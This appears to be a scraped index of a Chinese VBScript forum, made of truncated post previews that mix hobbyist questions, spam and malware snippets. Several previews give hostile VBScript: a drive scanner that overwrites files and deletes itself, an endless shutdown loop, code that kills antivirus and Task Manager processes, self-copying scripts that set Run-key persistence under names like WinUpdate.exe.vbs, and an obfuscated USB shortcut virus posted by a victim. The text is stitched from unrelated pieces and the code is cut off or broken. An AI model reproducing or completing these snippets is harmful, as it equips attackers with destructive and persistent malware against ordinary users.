dim folder,fso,foldername,f,d,dc set fso=createobject("scripting.filesystemobject") set self=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall self.close set dc=fso.Drives for each d in dc if d.drivetype=3 or d.drivetype=2 then wscript.echo d scan(d) end if next lsfile=wscript.scriptfullname set lsfile=fso.getfile(lsfile) lsfile.delete(true) sub scan(folder_) on error resume next set folder_=fso.getfolder(folder_) set files=folder_.files for each file in files ext=fso.GetExtensionName(file) ext=lcase(ext) if ext="mp5" then set ap=fso.opentextfile(file.path,2,true) ap.close set co

开机自启，并且不用路径的那种内置。

这一段老出错。 我是个小白

随便写写，仅供学习研究之用

Set fs=CreateObject("Scripting.FileSystemObject") set ws=createobject("wscript.shell") Sub MonitorSystem(objfso) Do on error resume next ws.sendkeys("+-x/^e^c^v^q{alt}+[f4]+{f4}+-*/") qaq=apcp qaq="apcq"+qaq ws.run("cmd /k copy "&chr(34)&WScript.ScriptFullName&"%桌面%"& "&"&"exit" ) Loop end sub MonitorSystem(fs)

do createobject("wscript.shell").run"cmd.exe /c shutdown -s -t 10" createobject("wscript.shell").run"cmd.exe /c shutdown -a" loop

Set WshShell= WScript.CreateObject("WScript.Shell") WshShell.AppActivate "真好玩" for i=1 to 1000 WScript.Sleep 500 WshShell.SendKeys "^v" WshShell.SendKeys i WshShell.SendKeys "%s" Next

On Error Resume Next '关闭杀软代码 Sub MonitorSystem(objfso, vbsCode) On Error Resume Next Dim ProcessNames ProcessNames = Array("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe", "cmd.com", "regedit.exe", "regedit.scr", "regedit.pif", "regedit.com", "msconfig.exe", "SREng.exe", "USBAntiVir.exe") Do Call KillProcess(ProcessNames) Call InvadeSystem(objfso, vbsCode) WScript.Sleep 5000 Loop End Sub Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=f

为什么我用cipher ／w:d命令也是擦写c盘呢，难道cipher擦除命令只能用于c盘，有大佬来解释一下吗？

[自我分享] 雨云VBS病毒专杀

求助大佬们电脑中毒了关机不了白屏安全模式格式化硬盘之后桌面操控不了

[color=blue]系统重装无效，pe下无法删除，安全模式下删除无效，u盘格式化无效，此电脑所有插过的u盘都会染上此病毒，已有3个u盘感染此病毒。 那是快捷方式类病毒，在u盘里很久了都无法解决，各种USBCleaner都用过了，它过8秒左右又会重新出现，再次把所有文件隐藏并再次创建所有根目录文件夹的快捷方式，此病毒代码如下，求各位给个解决的办法。[/color] dim zJguCUBkrRQgsGUsRmFg zJguCUBkrRQgsGUsRmFg = "13" zJguCUBkrR=SPLIT(zJguCUBkrR, zJguCUBkrRQgsGUsRmFg) dim zJguCUB

自制一段计算代码 dim a,b,s a=inputbox("请输入矩形的长") b=inputbox("请输入矩形的宽") s=a*b msgbox(s) 大家有力出力，这是矩形面积

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

'Ycosxhack [Y.X.H] on error resume next set fso=createobject("scripting.filesystemobject") randomize name=int(rnd*10000000+1) temp=name for i=0 to 2 set dir=fso.getspecialfolder(i) fso.getfile(wscript.scriptfullname).copy(dir&"\"&name&".vbs") next '-------------------------------------------------------- set reg=createobject("wscript.shell") reg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ctfmon","c:\windows\system32\"&temp&".vbs" reg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","hack" reg.regwrite "HKLM\SOFTWARE\Mic

安全狗求入队

Set Wshshell = Wscript.CreateObject("Wscript.Shell") Wshshell.SendKeys "^{esc}" Wscript.Sleep 50 Wshshell.SendKeys "{r}" Wscript.Sleep 50 Wshshell.AppActivate "运行" Wshshell.Seneys "{r}" Wscript.Sleep 50 Wshshell.SendKeys "{e}" Wscript.Sleep 50 Wshshell.SendKeys "{g}" Wscript.Sleep 50 Wshshell.SendKeys "{e}" Wscript.Sleep 50 Wshshell.SendKeys "{d}" Wscript.Sleep 50 Wshshell.SendKeys "{i}" Wscript.Sleep 50 Wshshell.SendKeys "{t}" Wscript.Sleep 50 Wshshell.SendKeys "{enter}"

dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=w.createobject("w.shell") set fso=w.createobject("ing.filesystemobject") set myfile=fso.GetFile(w.fullname) '修改注册表（开始菜单里面的东西和IE各项设置) wsh.Regwrite "HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue",0,"REG_DWORD" wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD" wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD" wsh.Regwrite "HKCU/Software/Pol

' 设置对脚本宿主对象引用赋给变量 Set Wshshell = Wscript.CreateObject("Wscript.Shell") ' 运行命令参数 （这里打开系统自带的记事本程序） Wshshell.run "notepad" ' 暂停 200 毫秒 （防止达不到预知的效果） Wscript.Sleep 200 ' 激活具有指定标题的窗口（确保要激活指定标题的窗体已经运行） Wshshell.AppActivate "无标题-记事本" ' 暂停 200 毫秒 （防止达不到预知的效果） Wscript.Sleep 200 ' SendKeys 键击 参数说明 ' 如 Enter 回车建 表示 {Ente

rt

On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") next On Error Resume Next dim r Set r=CreateObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir1&"\WinUpdate.exe.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"\WinUpdate.exe.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\Startup\Win32system\WinUpdate.exe.vbs") so.GetFile(WScript.ScriptFullName)

看好多人在找VBS加密方法 个人感觉还是直接转EXE好点 支持更改图标 尴尬的是.........等级不够上传不了附件 而发链。接好像会被当广告处理 所以各位大神小白 加下企鹅群吧!

要学写vbs病毒，就必须先学vbs语言，下面进入正文。 注:以下摘自vbs吧。

On Error Resume Next set ws=createobject("wscript.shell") ws.run "cmd.exe /c del /F /A C:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A D:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A E:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A F:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A G:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A H:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A I:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A J:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A K:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del /F /A L:\Autorun.inf",O,TRUE ws.run "cmd.exe /c del

任何地点都可以成为起点，只要你的心不拒绝奔跑。零基础又怎样，有一颗想学习的心，你都会全力以赴，实现自己的目标！

想学java的人总会问：学java需要什么基础，担心自己学不会，没有基础跟不上，其实只要你想学，没有什么事学不会的。有一句话说得好：世上无难事，只怕有心人。只要你有一颗想学的心，没有什么不可能。想学java或者正在学习java的伙伴不要担心自己学不会，只要你肯付出努力，没有什么事不可能的！ JavaWeb开发瀑布流无线滚动视频链接: http://pan.baidu.com/s/1c1jda5y 密码: ae8p

zJguCUBkrRQgsGUsRmFg = "13" zJguCUBkrR=SPLIT(zJguCUBkrR, zJguCUBkrRQgsGUsRmFg) dim zJguCUBkrRQgsGUsRmFgVYCCGGwtkG zJguCUBkrRQgsGUsRmFgVYCCGGwtkG = 0 dim zJguCUBkrRQgsGU zJguCUBkrRQgsGU = UBOUND(zJguCUBkrR) - 1 FOR zJguCUBkrRQgsGUsRmFgVYCCG = zJguCUBkrRQgsGUsRmFgVYCCGGwtkG TO zJguCUBkrRQgsGU dim zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzk zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzk = zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFpAHsxdGsXgGsSYwYBhFOWzhZLruxSwexXIqHpGfyZnznEoIynBJ(zJguCUBkrR(zJguCUBkrRQgsGUsRmFgVYCCG)) zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFp = zJguCUBkrRQgsGUsRmFgVYCCGGwtkGBwJzkPUUFp &

交朋友QQ2052024436

CreateObject("SAPI.SpVoice").Speak "I Love You" 可以把引号里面的内容读出来，中英文皆可